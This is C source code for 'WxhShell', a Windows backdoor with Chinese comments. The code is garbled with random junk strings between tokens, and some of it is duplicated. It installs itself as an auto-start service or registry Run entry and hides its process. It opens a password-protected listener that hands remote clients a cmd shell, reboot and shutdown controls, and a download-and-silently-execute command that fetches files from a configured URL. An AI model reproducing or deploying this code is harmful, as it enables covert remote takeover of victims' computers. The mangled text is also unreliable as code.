2+ ULONG InheritedFromUniqueProcessId; $p?aVO } PROCESS_BASIC_INFORMATION; 9*?oYm;dX Y.r+wc] PROCNTQSIP NtQueryInformationProcess; o.l-7 j,dR,N d static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iW /}# static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }!C)}.L< {,~3.5u HANDLE hProcess; g'qa}/X PROCESS_BASIC_INFORMATION pbi; %- 0t?/> ilx)*Y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Np0u,t%vs if(NULL == hInst ) return 0; 0=E]cQwh v oj^pzZ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EJNU761 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]`+HO=0 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'y3!fN=h X(-4<B if (!NtQueryInformationProcess) return 0; =zKM=qba %Q dn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ak"m 85B if(!hProcess) return 0; r?
E)obE m-"w0Rl1T if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V /V9B2.$ ,>mrPtxN CloseHandle(hProcess); EA]U50L( <3C*Z"aQ>| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hNmJ!Uo if(hProcess==NULL) return 0; 'u |c HqT#$}rv HMODULE hMod; 6MMOf\
char procName[255]; DG:Z=LuJr unsigned long cbNeeded; o="M W+ko q*P if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J,y[[CdH` l#Y,R 0 CloseHandle(hProcess); U/l&tmIVY D!-g&HBTC if(strstr(procName,"services")) return 1; // 以服务启动 <+vw@M T!WT;A return 0; // 注册表启动 .MoU1n{Yc } *]/zc1Q4M G^4hd i3@ // 主模块 GM f
`A,> int StartWxhshell(LPSTR lpCmdLine) *VhL\IjN] { qm8B8&- SOCKET wsl; Fgh_9S9J BOOL val=TRUE; \B,@`dw int port=0; WX|`1b struct sockaddr_in door; !0L Wa" G[I"8iS, if(wscfg.ws_autoins) Install(); =Qj{T Y;^l%ePuW port=atoi(lpCmdLine); |AU~_{H EGU
0)< if(port<=0) port=wscfg.ws_port; a>I+]`g 0e ~JMUb WSADATA data; :Cs4NF if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7XLtN "$$ k(7&N0V%zz if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^sEYOX\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `1{ZqRFQ door.sin_family = AF_INET; 3z9d!I^>k door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]e>w}L(gV door.sin_port = htons(port); D_^
nI: e+BQww if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O6a<`]F closesocket(wsl); < ?}-$ return 1; })8N5C+KU } s.N/2F&*W suiS&$-E if(listen(wsl,2) == INVALID_SOCKET) { oiT[de\S closesocket(wsl); Jg\zdi:t return 1; ~{B7 k: } Gm.T;fc: Wxhshell(wsl); A _
N;
WSACleanup(); O/a4]r+_ a /l)qB# return 0; uHvp;]/0\ >j(_[z|v3 } `nv~NLkl ,nLy4T&" // 以NT服务方式启动 [-k VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X0H!/SlS { 2%@4] DWORD status = 0; NAQAU
*yP DWORD specificError = 0xfffffff; tip+q d mD0f<gJ1 serviceStatus.dwServiceType = SERVICE_WIN32; Ug t.&IA serviceStatus.dwCurrentState = SERVICE_START_PENDING; A8fOQ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I{9QeRI serviceStatus.dwWin32ExitCode = 0; wQH<gJE/: serviceStatus.dwServiceSpecificExitCode = 0; AJ?r,!) serviceStatus.dwCheckPoint = 0; )=Z>#iH1 serviceStatus.dwWaitHint = 0; YY((V@|K zH4D 8@[7O hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EQyC1j if (hServiceStatusHandle==0) return; { MSkHf= B^Nf #XN( status = GetLastError(); lhz{1P]s if (status!=NO_ERROR) k)= X}=w { DV+xg3\(>1 serviceStatus.dwCurrentState = SERVICE_STOPPED; $@Rxrx_@M serviceStatus.dwCheckPoint = 0; R{3N&C serviceStatus.dwWaitHint = 0; 4(~L#}:r! serviceStatus.dwWin32ExitCode = status; {M$1N5Eh serviceStatus.dwServiceSpecificExitCode = specificError; " 4K(jXq| SetServiceStatus(hServiceStatusHandle, &serviceStatus); $L>@Ed< return; 2LL'J7 } 3n1;G8Nf C:* *;=. serviceStatus.dwCurrentState = SERVICE_RUNNING; z8~NZ;A serviceStatus.dwCheckPoint = 0; ./k/KSR serviceStatus.dwWaitHint = 0; dh*ZKI^@( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zq|I,l0+E } FQ2 YTpSHpf@ // 处理NT服务事件,比如:启动、停止 b#Z{{eLny VOID WINAPI NTServiceHandler(DWORD fdwControl) *@r/5pM2} { Ar|0b}=)> switch(fdwControl) vNY{j7l/W { mpEK (p case SERVICE_CONTROL_STOP: $s c serviceStatus.dwWin32ExitCode = 0; N/'b$m5=
S serviceStatus.dwCurrentState = SERVICE_STOPPED; 3cyHfpx-W serviceStatus.dwCheckPoint = 0; [0[i5'K: serviceStatus.dwWaitHint = 0; A*R^n}sh { i2U{GV<K-r SetServiceStatus(hServiceStatusHandle, &serviceStatus); v
~?qz5:K~ } cLJ$M`e return; '!cCMTj case SERVICE_CONTROL_PAUSE: Oo8VeRZ serviceStatus.dwCurrentState = SERVICE_PAUSED; 6V:U(g break; 9y8&9<# case SERVICE_CONTROL_CONTINUE: 7Lc]HSZo, serviceStatus.dwCurrentState = SERVICE_RUNNING; #7$
H break; B6As,)RjD: case SERVICE_CONTROL_INTERROGATE: R)(T^V`{ break; \*y-g@-{W$ }; 7P5)Z-K[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4qh?,^Dq } @R"JW\bd sPQQ"|wU // 标准应用程序主函数 _|\~q[ep int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L>NL:68yN { YnS#H" Y%aCMP9j~9 // 获取操作系统版本 @|m/djN5x OsIsNt=GetOsVer(); c(m<h+2VL GetModuleFileName(NULL,ExeFile,MAX_PATH); $q{!5-e 3`|@H-c9 // 从命令行安装 ")5":V~fN if(strpbrk(lpCmdLine,"iI")) Install(); r:'.nhe w"|L:8 // 下载执行文件 ww3-^v if(wscfg.ws_downexe) { NC`aP0S if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |?xN\O^#} WinExec(wscfg.ws_filenam,SW_HIDE);
3E]plj7$ } SrJGTuXg HTS0s\R$ if(!OsIsNt) { |\t-g"~sN // 如果时win9x,隐藏进程并且设置为注册表启动 DGF5CK.O HideProc(); 9(7-{,c StartWxhshell(lpCmdLine); ~2N"#b&J } 1Z2HUzqh. else 4G0m\[Du if(StartFromService()) [;yOBF // 以服务方式启动 7#a-u<HF" StartServiceCtrlDispatcher(DispatchTable); rJTa else @)M9IOR // 普通方式启动 [Ek7b* StartWxhshell(lpCmdLine); yu|8_<bq LEf^cM=> return 0; u@M,qo` } 5` ~JPt n\'4 lh7#t# (gU!=F?#m =========================================== MK~ 8}x 2K j0aXyLNX djG*YM\B h"Q8b}$^) #L;dI@7C zxl@(hd " }C?'BRX Tv=mgH=b #include <stdio.h> n'LrQU #include <string.h> q:0N<$63 #include <windows.h> 'KL0@l #include <winsock2.h> *n
]GsOOn #include <winsvc.h> %OCb:s #include <urlmon.h> :\c ^*K(9 9:|{6_Y #pragma comment (lib, "Ws2_32.lib") &h)yro #pragma comment (lib, "urlmon.lib") hWLA<wdb ZvX*t)VjTz #define MAX_USER 100 // 最大客户端连接数 s^9Voi.y #define BUF_SOCK 200 // sock buffer F~W6Bp^W #define KEY_BUFF 255 // 输入 buffer 7Q9 w?y~c MKk\
u9 #define REBOOT 0 // 重启 4e7-0}0 #define SHUTDOWN 1 // 关机 _D&598 xx bsli0FJSh' #define DEF_PORT 5000 // 监听端口 : *#- %0 7xlkZF #define REG_LEN 16 // 注册表键长度 xLajso1g69 #define SVC_LEN 80 // NT服务名长度 U< fGGCw ec;o\erPG // 从dll定义API ~,Ix0h+H+M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JPHL#sKyz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R) h#Vc( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |YWD8 + typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V1zmG y {}przrU^c // wxhshell配置信息 Q3~H{)[Kq struct WSCFG { ,[KD,)3y int ws_port; // 监听端口 9W5lSX#^; char ws_passstr[REG_LEN]; // 口令 vI>w e int ws_autoins; // 安装标记, 1=yes 0=no ;igIZ$& char ws_regname[REG_LEN]; // 注册表键名 H%tdhu\e char ws_svcname[REG_LEN]; // 服务名 PFjL1=7I char ws_svcdisp[SVC_LEN]; // 服务显示名 ?l{nk5,?-Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 RtS+<^2a; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2F.;;Ab int ws_downexe; // 下载执行标记, 1=yes 0=no T7%S
#0,p char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H*R"ntI?w char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9TC,!0U{_. U7F!Z(
9 }; JH9J5%sp C<tl/NC // default Wxhshell configuration .L~AL|2_ struct WSCFG wscfg={DEF_PORT, FW4<5~'
"xuhuanlingzhe",
qEOhwrh 1, \M^bD4';> "Wxhshell", p6V0`5@t "Wxhshell", d7upz]K9g "WxhShell Service", TD0
B% "Wrsky Windows CmdShell Service", =dKtV.L "Please Input Your Password: ", C1)!f j= 1, =;
Ff4aF "http://www.wrsky.com/wxhshell.exe", vk^xT "Wxhshell.exe" r,p%U!S<hV }; S,UDezxg bY:x8fl // 消息定义模块 q0vQa char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R-$!9mnr char *msg_ws_prompt="\n\r? for help\n\r#>"; u*`GiZAO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }Sv:`9= char *msg_ws_ext="\n\rExit."; a`>B Ly5o char *msg_ws_end="\n\rQuit."; 0GeTSFj char *msg_ws_boot="\n\rReboot..."; 3]S$ih&A char *msg_ws_poff="\n\rShutdown..."; )y$(AJx$ char *msg_ws_down="\n\rSave to "; VTE .^EK! F JyT+ char *msg_ws_err="\n\rErr!"; +mn[5Y} : char *msg_ws_ok="\n\rOK!"; zrb}_ NBGH_6DROw char ExeFile[MAX_PATH]; W'TZ%K) I int nUser = 0; kxv1Hn"`{E HANDLE handles[MAX_USER]; {`@G+JV~Jw int OsIsNt; R\[e!g*I 5.GR1kl6 SERVICE_STATUS serviceStatus; 3!]rmZ-W SERVICE_STATUS_HANDLE hServiceStatusHandle; ` Sz}`+E Gd85kY@w7 // 函数声明 Dlvz) int Install(void); #ABZ&Z int Uninstall(void); ww1[rCh\+ int DownloadFile(char *sURL, SOCKET wsh); K$=zi}J W int Boot(int flag); wibNQ`4k void HideProc(void); D0f] $ int GetOsVer(void); ;2QP7PrSY int Wxhshell(SOCKET wsl); %pCTN P void TalkWithClient(void *cs); ;$g?T~v7 int CmdShell(SOCKET sock); p`qgrI` int StartFromService(void); K[YyBEid int StartWxhshell(LPSTR lpCmdLine); BI@[\aRLQ w7L)'9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $XH^~i; VOID WINAPI NTServiceHandler( DWORD fdwControl ); %xLhZ\ 9\(|
D# // 数据结构和表定义 Mi_$">1-W SERVICE_TABLE_ENTRY DispatchTable[] = Q"#J6@ { &rR2,3r= {wscfg.ws_svcname, NTServiceMain}, @H8EWTZ {NULL, NULL} !&E-}}< }; jL}v9$ aN3;`~{9 // 自我安装 HZZn'u int Install(void) 0"z9Q\{} { YS_;OFsd char svExeFile[MAX_PATH]; K3uRs{l| HKEY key; a 1*p*dM# strcpy(svExeFile,ExeFile); veECfR; I]q% 2ie // 如果是win9x系统,修改注册表设为自启动 u ^RxD^=L if(!OsIsNt) { 9lE_nc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2
yz _ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [2cD:JL RegCloseKey(key); 5!9zI+S|=` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k9F=8q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \'j|BJ~L f RegCloseKey(key); 8q7b_Pq1U return 0; e+K^Aq } &%Tj/ Qx } ySI!d|_ } 7 X4LJf else { 1h5 Akq i@J;G` // 如果是NT以上系统,安装为系统服务 9N3eN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rf1x`wml if (schSCManager!=0) Xn
;AZu^'R { ovV'VcUs SC_HANDLE schService = CreateService +ck}l2 ( ;A[Q2(w+ schSCManager, QmIBaMI# wscfg.ws_svcname, 3;Fhg!ZO wscfg.ws_svcdisp, tLmTjX .6 SERVICE_ALL_ACCESS, zx7{U8*`< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cM7[_*Ot<m SERVICE_AUTO_START, Ga'swP=hf SERVICE_ERROR_NORMAL, [ikOb8 G# svExeFile, jZ;
=so NULL, GPkpXVm NULL, bN@
l?w NULL, /u+e0BHo NULL, 1-QS~)+ NULL |^H5^k "Bv ); uW3!Yg@ if (schService!=0) hR|MEn6KC { #3d(M CloseServiceHandle(schService); 6LZ;T.0o CloseServiceHandle(schSCManager); pD]OT-8 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); POR\e|hRT] strcat(svExeFile,wscfg.ws_svcname); X[TR3[1} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FC"8#*x RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?G&ikxl RegCloseKey(key); 8HdAFRw return 0; N,U8YO } C"enpc_C/ } 01o4Th m CloseServiceHandle(schSCManager); Y[S1$(K&* } HUO j0T } 4v|W-h"K BFW&2 return 1; <b<j=_3 } A.w:h;7 CVR3
A' // 自我卸载 '[O;zJN; int Uninstall(void) ^/=KK:n~ { 6\S~P/PkE HKEY key; ;ovP$ vl> &]-DqK7 if(!OsIsNt) { .w,q0<} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9Lfv^V0 RegDeleteValue(key,wscfg.ws_regname); /JU.?M35 RegCloseKey(key); K 'I#W
lg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q)z8PQl O RegDeleteValue(key,wscfg.ws_regname); ]"1DGg \A RegCloseKey(key); VOh4#%Vj return 0; x3eZ^8^1} } eQvg7aO; } O%HHYV%[m } ~.lPEA %% else { [;sRV< m9}P9? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w"&n?L if (schSCManager!=0) t@+}8^M { $]2vvr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "8zDbdK if (schService!=0) %GIr&V4| { 01(AK% e if(DeleteService(schService)!=0) { xFg>SJ7] CloseServiceHandle(schService); <yg F( CloseServiceHandle(schSCManager); ZWp(GC1NA return 0; >~+ELVB& } % +\."eC CloseServiceHandle(schService); Yk Qd
} t9IW/Q CloseServiceHandle(schSCManager); |)/aGZ+ } 4]}'Hln*U } @49S` )TM4R)r%)9 return 1; r0 uwPf } tcog'nAz #@nezu2 // 从指定url下载文件 2Q:+_v int DownloadFile(char *sURL, SOCKET wsh) -!]ZMi9 { l0i^uMS HRESULT hr; k2UVm$}u char seps[]= "/"; r^ ZEImjc char *token; !brf(-sr) char *file; 4)o char myURL[MAX_PATH]; >!)DM]Ri char myFILE[MAX_PATH]; OJy#w{4 cD'V>[h strcpy(myURL,sURL); 0>Z_*U~6 token=strtok(myURL,seps); {h`uV/5@` while(token!=NULL) Vj>8a)"B5a { UU0,!?o4 file=token; "kgdbAZ token=strtok(NULL,seps); ZO c) } Y,zxbXZv'5 cDH^\-z GetCurrentDirectory(MAX_PATH,myFILE); B~Xw[q strcat(myFILE, "\\"); \d$!a5LF} strcat(myFILE, file); _b;{_g send(wsh,myFILE,strlen(myFILE),0); %&t<K3&Yh send(wsh,"...",3,0); Z!X0U7&U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PBkt~=j if(hr==S_OK) &H:(z4/ return 0; t |A-9^t'! else
zi`o#+ return 1; fMyti$1~ O#S.n#{ } QWHug:c o`N9!M // 系统电源模块 (,Df^4%7 int Boot(int flag) 3HY9\'t6 { :'*~uJrR HANDLE hToken; $43qME TOKEN_PRIVILEGES tkp; HBx=\%;n `XEr(e9 if(OsIsNt) { ** G9H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :T
!'N\7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OMg<V tkp.PrivilegeCount = 1; n3
r3"~i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?R.j^S^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M%;hB*9 if(flag==REBOOT) { bYQRBi if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2Ny"O.0h return 0;
oc0G| } ^V Zk+'4 else { HcSXsF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JQHvz9Yg return 0; `t'W2X } mmRJ9OhS } g0ly else { *U=s\ if(flag==REBOOT) { GKc`xIQ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7!TueP0Zd return 0; @eIJ]p } !lc[ else { ls:w8&`* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6wECo return 0; p hzKm9 } Hm'=aff6A } 6 EC* 3/W'V,5G6 return 1; :; fHDU| } Y+u_IJ H{?vbqQ // win9x进程隐藏模块 "v({, void HideProc(void) ^)*-Bo)I { I5n^,@md A='N=^Pm HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \k!{uRy' if ( hKernel != NULL ) iq( E'`d { J!pygn O pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^pF&`2eD ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "PTZ%7YH} FreeLibrary(hKernel); T@&K-UQ } qPy1;maXP fnX`Q[b4\A return; -0{r>,&Mm } [)zP6\I ZE=Sp=@)j // 获取操作系统版本 v)t:|Q{I int GetOsVer(void) z Q`jP$2 { ]<rkxgMW> OSVERSIONINFO winfo; MWpQ^dL_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cacr=iX GetVersionEx(&winfo); {NFr]LGOp if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6BbGA*%{ return 1; "h a L else 4;]hK!AXS return 0; YS@ypzc/ } hYNY"VB c[4i9I3v // 客户端句柄模块 s ;oQS5Y int Wxhshell(SOCKET wsl) 6ZG+ZHUC& { -$jEfi4I SOCKET wsh; jW3!6*93 struct sockaddr_in client; ,3p~w5C/+[ DWORD myID; (#Gw1 IsM}'. while(nUser<MAX_USER) F{Jw^\ { }v*G_}^ int nSize=sizeof(client); 9~mh@Kgv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n%C>E.Tq if(wsh==INVALID_SOCKET) return 1; ;/fF,L{c aM2l2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E2@65b$ if(handles[nUser]==0) -tHU6s, closesocket(wsh); kabnVVn~ else !GLz)#SBl nUser++; I^UC&5dC } V4P;
5[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |_*O '#jx x:>wUhzZ return 0; =;3Sx::= } eg?<mKrZ qnJt5 // 关闭 socket 6@e+C;j= void CloseIt(SOCKET wsh) c5l.B#-lY { L z!,kwg closesocket(wsh); TI#''XCB5 nUser--; sCi s4gX.] ExitThread(0); hMUs"
<. } 7X q,z :xD=`ib // 客户端请求句柄 XZJ+h,f void TalkWithClient(void *cs) 8x8uo { 9:,\gw>F
lBhLf@ SOCKET wsh=(SOCKET)cs; SAK!z!t char pwd[SVC_LEN]; RGg(%. char cmd[KEY_BUFF]; NufLzg{ char chr[1]; %K`% *D int i,j; O<"}|nbmQ[ TUDr\' @/f while (nUser < MAX_USER) { U.XNv-M C\nhqkn if(wscfg.ws_passstr) { ]Nl=wZ#` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZF|+W?0&% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U,gti,IX^ //ZeroMemory(pwd,KEY_BUFF); r77PQQDT i=0; kc @[9eV while(i<SVC_LEN) { ;A'Z4=*~ \2}bi:e6 // 设置超时 &)vC;$vD` fd_set FdRead; H nUYqhZS struct timeval TimeOut; Ucm :S- FD_ZERO(&FdRead); M57T2]8, FD_SET(wsh,&FdRead); BV(8y.H TimeOut.tv_sec=8; &A)B~"[~ TimeOut.tv_usec=0; T[4<R 5} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;._7jFj. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IS[thbzkZ bH2MdU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?a8(azn pwd=chr[0]; m-DsY if(chr[0]==0xd || chr[0]==0xa) { S_v'hlrrT pwd=0; i|}[A break; 0=q;@OIf } 9,_mS{+B i++; CI
:`<PZ\- } E%v?t1>/ .G(llA} // 如果是非法用户,关闭 socket )+"'oY$]} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f<*Js)k } R8UYP=Kp A"l?:?rtw] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?wF'<kEH send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T<@ cd|` HU-QDp%*r7 while(1) { ,H2D jfx8EbQ ZeroMemory(cmd,KEY_BUFF); .8uz 6~ ;)I'WQ]Q // 自动支持客户端 telnet标准 )d-.M j=0; ;?~$h-9) while(j<KEY_BUFF) { !!V#v9{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *" 98L+ cmd[j]=chr[0]; hj$e|arB if(chr[0]==0xa || chr[0]==0xd) { A@D2+fS cmd[j]=0; E)-r+ <l break; `#QG6/0 } ,7)C" j++; -:9P%jWt } h:)Ci!D; 7`H
1f]d // 下载文件 2Nm>5l if(strstr(cmd,"http://")) { :BukUket1e send(wsh,msg_ws_down,strlen(msg_ws_down),0); ',4x$qe if(DownloadFile(cmd,wsh)) `)h6j)xiQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); TLf9>=
OVh else IU]^&e9u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hiv!BV| } FvuGup`w else { V~yAE@9 LrV{j?2@ switch(cmd[0]) { $RwB_F OR Wm
C! // 帮助 \cJ-Dd case '?': { $W42vjr4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )Vk6;__ break; !epgTN } #Hh^3N // 安装 '[(nmx'yVJ case 'i': { %T=A{<[` if(Install()) ExXM:1 e26 send(wsh,msg_ws_err,strlen(msg_ws_err),0); E%TpJl'U else 9H]Lpi^OH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pA#}-S% break; PS" .R_" } QIn/,Yd // 卸载 5;TuVU.8Q case 'r': { +1Ph<zq" if(Uninstall()) 7j i=E";.w send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?|* LT$%7 else sK=}E= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Lqt(c break; 8{Fm[
%" } @TA9V@?) // 显示 wxhshell 所在路径
0gF!!m case 'p': { |__=d+M' char svExeFile[MAX_PATH]; w[Ep*-yeI strcpy(svExeFile,"\n\r"); =vh8T\ strcat(svExeFile,ExeFile); $
Cjk send(wsh,svExeFile,strlen(svExeFile),0); VnJMmMM break; *NSlo^R-[ } Px'!; // 重启 \Z-2leL)j case 'b': { q cA`)j send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YY4-bNj[p if(Boot(REBOOT)) =OV2 uq send(wsh,msg_ws_err,strlen(msg_ws_err),0); E)t else { m^\TUj closesocket(wsh); /=#~ ExitThread(0); 4DO/rtkVq } C;\VO)]t break; EkKnUD } s3lwu :4f // 关机 {lz G*4? case 'd': { Oz:ZQ M send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YirC* if(Boot(SHUTDOWN)) <-jGqUN_I send(wsh,msg_ws_err,strlen(msg_ws_err),0); oBlzHBn>0 else { q:HoKJv4 closesocket(wsh); 5y_" ExitThread(0); dTD5(}+J } VZA3IbK} break; ]?9[l76O7 } D)&o8D` // 获取shell H]qq ~bO[ case 's': { %f[Ep 3D CmdShell(wsh); voRfjsS~ closesocket(wsh); i@<~"~>]7 ExitThread(0); uJ'9R`E ]1 break; Bx X$5u } `.k5v7!o // 退出 )hL^+Nn bR case 'x': { qZG-Lh send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sdF3cX CloseIt(wsh); cq^sq1A: break; %9c|%#3 } 9 |K*G~J // 离开 S+*cbA{J| case 'q': { &R\XUxI send(wsh,msg_ws_end,strlen(msg_ws_end),0); B {i&~k closesocket(wsh); Io+IRK WSACleanup(); oa9)Dv exit(1); {u]CHN`%Z break; l:tpL(% } AZ8UXq } C/+nSe. } gv` h-b O~Uw&Bq // 提示信息 "<dN9l> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F|]rA*2u } j-P^Zv};u } V/UB9)i+ '{D%\w5{ return; ucFw,sB1 } Pw#2<> U~g@TfU; // shell模块句柄 ],V
kp int CmdShell(SOCKET sock) ;^.9#B,< { lIy/;hIc STARTUPINFO si; &kq7gCd ZeroMemory(&si,sizeof(si)); 2wOy}: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V9$-twhu si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?HxS)Pqq PROCESS_INFORMATION ProcessInfo; ]EX--d<_` char cmdline[]="cmd"; LI$L9eNv;Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2vXGO|W return 0; i0&)
N,5_ } &x/k^p= @S}|Ccfc_ // 自身启动模式 IgiqFV{ int StartFromService(void) o;'4c { lvig>0:M typedef struct +wjlAqMQ {
`QAh5r" DWORD ExitStatus; R]fYe#!" DWORD PebBaseAddress; R^?PAHE7 DWORD AffinityMask; "]9_Fv DWORD BasePriority; 8ok7|DJ ULONG UniqueProcessId; 8I {56$ ULONG InheritedFromUniqueProcessId; ].c@Gm_( } PROCESS_BASIC_INFORMATION; qSCTFJ0 I]UA0[8X PROCNTQSIP NtQueryInformationProcess; !%)L&W_ |<2JQ[] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m4\g o static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nvwDx*[qN 92NC]_jw HANDLE hProcess; {)jk_&c7 PROCESS_BASIC_INFORMATION pbi; i&B?4J) (T`q++ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hG[4O3jo\ if(NULL == hInst ) return 0; \c'%4Ao Wpa$B
